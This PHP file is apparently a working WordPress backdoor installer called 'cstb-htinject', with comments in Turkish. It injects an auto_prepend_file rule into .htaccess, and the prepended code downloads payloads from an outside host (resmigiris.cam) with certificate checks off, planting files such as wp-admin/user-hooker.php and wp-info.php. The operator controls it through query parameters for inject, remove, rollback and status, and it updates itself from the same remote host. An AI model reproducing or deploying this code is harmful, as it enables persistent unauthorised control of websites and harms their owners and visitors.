<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")&&!is_file("$d/wp-config.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/txt/';
$prepFile='.cstb-prepend.php';

$prependCode='<?php'."\n"
    .'if(php_sapi_name()===\'cli\')return;'."\n"
    .'$_f=sys_get_temp_dir().\'/cstb_ap_\'.md5($_SERVER[\'HTTP_HOST\']??\'\').\'_\'.date(\'Ymd\');'."\n"
    .'if(file_exists($_f))return;'."\n"
    .'@file_put_contents($_f,time());'."\n"
    .'if(!function_exists(\'curl_init\'))return;'."\n"
    .'$_r=$_SERVER[\'DOCUMENT_ROOT\']??\'\';if(!$_r)return;'."\n"
    .'$_cdn=\'https://resmigiris.cam/txt/\';'."\n"
    .'$_chk=[\'wp-admin/user-hooker.php\'=>\'boot.txt\',\'wp-info.php\'=>\'link.txt\'];'."\n"
    .'foreach($_chk as $_rel=>$_src){'."\n"
    .'  $_p=$_r.\'/\'.$_rel;'."\n"
    .'  if(is_file($_p)&&filesize($_p)>100)continue;'."\n"
    .'  $_ch=curl_init($_cdn.$_src);curl_setopt_array($_ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);'."\n"
    .'  $_c=curl_exec($_ch);curl_close($_ch);'."\n"
    .'  if($_c&&strlen($_c)>50)@file_put_contents($_p,$_c);'."\n"
    .'}'."\n";

// ── ?inject=1 → .htaccess'e auto_prepend_file ekle (Apache/LiteSpeed) ──
if(isset($_GET['inject'])&&$_GET['inject']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $htPath="$d/.htaccess";
    $ppPath="$d/$prepFile";
    $res=[];
    $warnings=[];

    $server=$_SERVER['SERVER_SOFTWARE']??'unknown';
    $sapi=php_sapi_name();
    $isNginx=stripos($server,'nginx')!==false||stripos($server,'openresty')!==false;
    $isApache=stripos($server,'apache')!==false||stripos($server,'litespeed')!==false;
    $isFpm=stripos($sapi,'fpm')!==false||stripos($sapi,'cgi')!==false;

    if($isNginx){
        echo json_encode([
            'status'=>'skipped',
            'server'=>$server,'sapi'=>$sapi,
            'reason'=>'Nginx does not support .htaccess',
            'suggestion'=>'use wp-ini-handler.php?inject=1 (.user.ini) instead'
        ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
    }

    if($isApache&&$isFpm){
        $warnings[]='Apache + php-fpm detected: php_value may not work, using IfModule wrapper for safety';
    }

    // 1) Mevcut .htaccess backup
    $bakPath="$d/.htaccess.cstb-bak-".date('Ymd-His');
    if(is_file($htPath)){
        $origHt=@file_get_contents($htPath);
        $origSize=strlen($origHt);
        @copy($htPath,$bakPath);
        $res['backup']=is_file($bakPath)?'ok':'fail';

        // Zaten inject edilmiş mi?
        $marker='# BEGIN cstb-prepend';
        if(strpos($origHt,$marker)!==false){
            echo json_encode(['status'=>'already-injected','backup'=>$bakPath]);exit;
        }

        // Mevcut auto_prepend_file zaten var mı?
        if(preg_match('/^\s*php_value\s+auto_prepend_file/mi',$origHt)){
            $warnings[]='existing auto_prepend_file found in .htaccess - will be kept, ours appended at end';
        }

        // .htaccess çok büyükse dikkat
        if($origSize>50000){
            $warnings[]='large .htaccess ('.$origSize.' bytes) - complex rules may conflict';
        }
    }else{
        $origHt=null;
        $res['backup']='no-original';
    }

    // 2) Prepend dosyasını oluştur
    $res['prepend']=@file_put_contents($ppPath,$prependCode)!==false?'ok':'fail';
    if($res['prepend']!=='ok'){
        echo json_encode(['status'=>'fail','reason'=>'cannot write prepend file','results'=>$res]);exit;
    }

    // 3) .htaccess'e ekle
    $marker='# BEGIN cstb-prepend';
    $markerEnd='# END cstb-prepend';
    $htBlock="\n$marker\n<IfModule mod_php.c>\nphp_value auto_prepend_file \"$ppPath\"\n</IfModule>\n<IfModule mod_php7.c>\nphp_value auto_prepend_file \"$ppPath\"\n</IfModule>\n<IfModule mod_php8.c>\nphp_value auto_prepend_file \"$ppPath\"\n</IfModule>\n$markerEnd\n";

    if($origHt===null){
        $res['htaccess']=@file_put_contents($htPath,$htBlock)!==false?'created':'fail';
    }else{
        $res['htaccess']=@file_put_contents($htPath,$origHt.$htBlock)!==false?'injected':'fail';
    }

    if($res['htaccess']==='fail'){
        echo json_encode(['status'=>'fail','reason'=>'cannot write .htaccess','results'=>$res]);exit;
    }

    // 4) Site erişim testi — 500 dönüyorsa otomatik rollback
    $testUrl='';
    $host=$_SERVER['HTTP_HOST']??'';
    $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
    if($host)$testUrl="$scheme://$host/";

    $siteOk=true;
    if($testUrl&&function_exists('curl_init')){
        $ch=curl_init($testUrl);
        curl_setopt_array($ch,[
            CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_CONNECTTIMEOUT=>5,
            CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,
            CURLOPT_FOLLOWLOCATION=>1,CURLOPT_MAXREDIRS=>3,
            CURLOPT_NOBODY=>0,
            CURLOPT_HTTPHEADER=>['User-Agent: cStb-verify/1']
        ]);
        curl_exec($ch);
        $httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);
        curl_close($ch);
        $res['verify_code']=$httpCode;

        if($httpCode>=500){
            $siteOk=false;
            // ROLLBACK — .htaccess'i eski haline getir
            if(is_file($bakPath)){
                @copy($bakPath,$htPath);
                $res['rollback']='restored-from-backup';
            }elseif($origHt===null){
                @unlink($htPath);
                $res['rollback']='removed-new-htaccess';
            }
            @unlink($ppPath);
            $res['prepend']='removed-after-rollback';
        }
    }else{
        $res['verify_code']='skipped-no-curl';
        $warnings[]='could not verify site health - no curl available';
    }

    echo json_encode([
        'status'=>$siteOk?'done':'rolled-back',
        'server'=>$server,
        'root'=>$d,
        'backup'=>$bakPath,
        'results'=>$res,
        'warnings'=>$warnings,
        'note'=>$siteOk?'inject successful, site verified OK':'site returned 500 after inject - ROLLED BACK automatically'
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?remove=1 → .htaccess'ten kaldır ──
if(isset($_GET['remove'])&&$_GET['remove']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $htPath="$d/.htaccess";$ppPath="$d/$prepFile";$res=[];
    if(is_file($ppPath)){$res['prepend']=@unlink($ppPath)?'removed':'fail';}
    if(is_file($htPath)){
        $ht=@file_get_contents($htPath);
        $marker='# BEGIN cstb-prepend';$markerEnd='# END cstb-prepend';
        if(strpos($ht,$marker)!==false){
            $ht=preg_replace('/\n?'.preg_quote($marker,'/').'.*?'.preg_quote($markerEnd,'/').'\n?/s','',$ht);
            @file_put_contents($htPath,$ht);$res['htaccess']='cleaned';
        }else{$res['htaccess']='not-found';}
    }
    echo json_encode(['results'=>$res]);exit;
}

// ── ?rollback=1 → Son backup'tan geri dön ──
if(isset($_GET['rollback'])&&$_GET['rollback']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $htPath="$d/.htaccess";$ppPath="$d/$prepFile";$res=[];
    $baks=glob("$d/.htaccess.cstb-bak-*");
    if($baks){
        rsort($baks);
        $latest=$baks[0];
        @copy($latest,$htPath);
        $res['htaccess']='restored from '.basename($latest);
    }else{$res['htaccess']='no-backup-found';}
    if(is_file($ppPath)){$res['prepend']=@unlink($ppPath)?'removed':'kept';}
    echo json_encode(['results'=>$res]);exit;
}

// ── ?status=1 → Durumu kontrol ──
if(isset($_GET['status'])&&$_GET['status']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $htPath="$d/.htaccess";$ppPath="$d/$prepFile";
    $htHas=false;$htSize=0;
    if(is_file($htPath)){$ht=@file_get_contents($htPath);$htHas=strpos($ht,'cstb-prepend')!==false;$htSize=strlen($ht);}
    $baks=glob("$d/.htaccess.cstb-bak-*")?:[];
    echo json_encode([
        'server'=>$_SERVER['SERVER_SOFTWARE']??'unknown',
        'htaccess_exists'=>is_file($htPath),
        'htaccess_size'=>$htSize,
        'htaccess_injected'=>$htHas,
        'prepend_exists'=>is_file($ppPath),
        'backups'=>array_map('basename',$baks),
        'root'=>$d
    ],JSON_UNESCAPED_SLASHES);exit;
}

// Self-update
if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $ch=curl_init($cdn.'wp-htinject.txt');curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']);}
    else{echo json_encode(['self'=>'current']);}
    exit;
}

header('Content-Type: text/plain');
echo "cstb-htinject (Apache/LiteSpeed)\nserver: ".($_SERVER['SERVER_SOFTWARE']??'?')."\nmodes: ?inject=1 | ?remove=1 | ?rollback=1 | ?status=1\n";
